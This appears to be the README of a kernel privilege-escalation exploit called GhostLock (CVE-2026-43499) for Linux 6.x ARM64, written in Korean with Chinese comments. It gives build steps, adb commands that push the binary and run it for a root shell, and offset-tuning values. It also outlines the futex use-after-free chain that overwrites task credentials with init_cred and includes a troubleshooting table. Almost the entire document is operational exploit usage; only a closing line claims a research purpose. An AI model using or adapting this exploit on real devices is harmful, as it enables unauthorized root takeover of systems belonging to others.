
Android가 아닌 Linux 6.x ARM64용 GhostLock (CVE-2026-43499) 적응 버전
Android가 아닌 Linux 6.x ARM64 커널을 대상으로 하는 GhostLock (CVE-2026-43499) 권한 상승 익스플로잇입니다.
| 항목 | 값 |
|---|---|
| 아키텍처 | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| 커널 버전 | 6.x |
| SELinux | 없음 |
| ashmem | 없음 |
| configfs | 없음 |
make
make android-arm64 NDK=/path/to/android-ndk
푸시 후 자동으로 컴파일이 트리거되며, artifact를 다운로드하면 됩니다.
# 推送到目标设备
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# 获取 root shell
adb shell /data/local/tmp/e --shell
# 调整 pselect 偏移 (如果默认值不工作)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 指定物理加载地址
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
| 변수 | 기본값 | 설명 |
|---|---|---|
PSELECT_SHIFT | -2 | 스택에서 pselect waiter의 오프셋 조정 |
KPHYS | 0x80000000 | 커널 물리 로드 주소 |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | 커널 가상 베이스 주소 |
FUTEX_CMP_REQUEUE_PI가 remove_waiter()의 UAF를 트리거합니다rt_mutex_waiter가 stack_fds 버퍼에 위치합니다task_struct->cred를 init_cred로 덮어씁니다이 버전은 ghostlock-oneplus 를 기반으로 간소화되었습니다:
| 증상 | 가능한 원인 | 해결 방법 |
|---|---|---|
| 기기 재부팅 | PSELECT_SHIFT 오류 | -4부터 +4까지 하나씩 시도 |
| 효과 없음 | KPHYS 오류 | /proc/iomem에서 올바른 값 확인 |
| perf_event_open failed | seccomp 제한 | ADB shell을 통해 실행 시도 |
| root 없음 | 오프셋 불일치 | 커널 버전 확인, TASK_CRED_OFF 점검 |
이 도구는 보안 연구 목적으로만 사용됩니다. 사용자는 모든 책임을 스스로 부담해야 합니다.